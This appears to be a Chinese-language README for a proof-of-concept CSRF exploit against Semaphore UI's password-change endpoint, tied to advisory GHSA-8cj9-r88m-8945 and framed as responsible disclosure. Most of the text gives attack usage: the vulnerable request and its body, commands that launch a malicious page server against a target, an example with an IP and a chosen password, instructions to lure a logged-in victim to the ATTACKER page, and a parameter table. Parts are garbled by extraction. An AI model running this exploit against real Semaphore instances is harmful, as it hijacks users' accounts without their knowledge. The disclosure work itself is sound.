仅供教育和负责任披露之用。
该漏洞已在 GHSA-8cj9-r88m-8945 中报告,影响 2.18.21 以下的 semaphoreui 版本。
Semaphore UI 的密码更改端点未实现任何 CSRF 保护:
semaphore),且未强制执行 SameSite恶意页面可以静默更改任何访问它的已认证用户的密码。
受影响端点: POST /api/users/{id}/password
{"password": "newpassword", "project_id": 1}
python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]
python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337
然后将受害者(已在 Semaphore 上认证)引导至 http://ATTACKER:1337。页面加载后,其密码会立即被更改。
python poc.py -u http://TARGET:3000 -i 1
http://ATTACKER:1337/api/users/1/password 的 POST 请求返回 HTTP 204SameSite=Strict| 参数 | 描述 | 默认值 |
|---|
-u / --uri | Semaphore 实例的基础 URL | 必填 |
-i / --user_id | 目标用户的 ID | 必填 |
-n / --new_password | 要设置的密码 | passwordchanged |
-p / --port | 提供恶意页面服务的端口 | 1337 |